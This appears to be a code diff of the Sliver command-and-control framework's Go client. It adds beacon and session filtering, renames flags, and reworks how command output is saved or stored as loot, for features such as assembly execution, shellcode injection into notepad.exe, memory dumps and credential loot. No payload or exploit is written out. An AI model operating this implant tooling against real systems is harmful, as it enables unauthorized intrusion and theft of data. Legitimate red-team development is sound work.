if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
@@ -150,19 +186,43 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
})
}
} else {
tw.AppendRow(table.Row{
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
})
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
}
}
return tw
+1 -1
View File
@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, con)
tw := renderBeacons(beacons.Beacons, "", nil, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
+36 -8
View File
@@ -399,6 +399,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "no-canaries", false, "disable dns canary detection")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -558,7 +559,10 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "kill", "", "kill the designated session")
f.Bool("K", "kill-all", false, "kill all the sessions")
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
f.Bool("f", "force", false, "force session action without waiting for results")
f.Bool("F", "force", false, "force session action without waiting for results")
f.String("f", "filter", "", "filter sessions by substring")
f.String("e", "filter-re", "", "filter sessions by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -575,7 +579,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Kill all stale/dead sessions",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
f.Bool("F", "force", false, "Force the killing of stale/dead sessions")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -615,7 +620,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "Force kill, does not clean up")
f.Bool("F", "force", false, "Force kill, does not clean up")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -989,10 +994,12 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("o", "output", false, "capture command output")
f.Bool("s", "save", false, "save output to a file")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1025,6 +1032,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1069,6 +1077,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1094,6 +1104,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
},
@@ -1250,6 +1262,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1306,6 +1319,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1455,6 +1469,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
@@ -1511,6 +1526,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
@@ -1677,7 +1693,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Bool("r", "recursive", false, "recursively remove files")
f.Bool("f", "force", false, "ignore safety and forcefully remove files")
f.Bool("F", "force", false, "ignore safety and forcefully remove files")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1756,6 +1772,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "colorize-output", false, "colorize output")
f.Bool("x", "hex", false, "display as a hex dump")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
},
Args: func(a *grumble.Args) {
a.String("path", "path to the file to print")
@@ -1777,6 +1796,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("X", "loot", false, "save output as loot")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
f.String("n", "name", "", "name to assign the download if looting")
},
Args: func(a *grumble.Args) {
a.String("remote-path", "path to the file or directory to download")
@@ -1887,6 +1909,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("p", "pid", -1, "target pid")
f.String("n", "name", "", "target process name")
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1913,7 +1937,7 @@ func BindCommands(con *console.SliverConsoleClient) {
a.Uint("pid", "pid")
},
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "disregard safety and kill the PID")
f.Bool("F", "force", false, "disregard safety and kill the PID")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2120,6 +2144,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2163,8 +2188,11 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("k", "kill", "", "kill a beacon")
f.Bool("K", "kill-all", false, "kill all beacons")
f.Bool("F", "force", false, "force killing of the beacon")
f.String("f", "filter", "", "filter beacons by substring")
f.String("e", "filter-re", "", "filter beacons by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("f", "force", false, "force killing of the beacon")
},
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
@@ -2747,7 +2775,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
f.Uint64("i", "id", 0, "id of portfwd to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -2833,7 +2861,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Add a remote file from the current session to the server's loot store",
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
Args: func(a *grumble.Args) {
a.String("path", "The local file path to the loot")
a.String("path", "The file path on the remote host to the loot")
},
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "name of this piece of loot")
+14 -39
View File
@@ -20,13 +20,10 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -61,13 +58,16 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
@@ -80,7 +80,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s", err)
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
@@ -88,52 +88,27 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
}
}
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, _ = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+1 -1
View File
@@ -125,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
return
}
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
+128 -18
View File
@@ -18,7 +18,11 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
@@ -41,6 +45,12 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
var captureOutput bool = output || saveLoot || saveOutput
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -56,7 +66,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
@@ -65,7 +75,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
@@ -84,22 +94,42 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
}
}
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout := ctx.Flags.String("stdout")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
lootName := ctx.Flags.String("name")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
}
PrintExecute(exec, ctx, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
@@ -111,17 +141,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
return
}
combined := ""
if stdout == "" {
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
con.PrintInfof("Output:\n%s", string(exec.Stdout))
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
@@ -131,13 +158,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = ioutil.TempFile("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+12 -20
View File
@@ -22,7 +22,6 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -70,7 +69,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
@@ -78,34 +77,27 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
}
}
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+12 -21
View File
@@ -4,8 +4,6 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
@@ -48,7 +46,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
@@ -56,34 +54,27 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
}
}
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+30 -2
View File
@@ -27,6 +27,7 @@ import (
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -49,10 +50,14 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -74,16 +79,39 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
var (
lootDownload bool = true
err error
)
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootType := ctx.Flags.String("type")
userLootFileType := ctx.Flags.String("file-type")
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
if saveLoot {
lootType, err := loot.ValidateLootType(userLootType)
if err != nil {
con.PrintErrorf("%s\n", err)
return
// Even if the loot type is bad, we can still print the result to the screen
// We will not loot it though
lootDownload = false
}
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
con.Printf("\n")
}
}
if ctx.Flags.Bool("colorize-output") {
+66 -54
View File
@@ -24,41 +24,28 @@ import (
"os"
"path"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
@@ -76,60 +63,85 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
HandleDownloadResponse(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintDownload(download, ctx, con)
HandleDownloadResponse(download, ctx, con)
}
}
// PrintDownload - Print the download response, and save file to disk
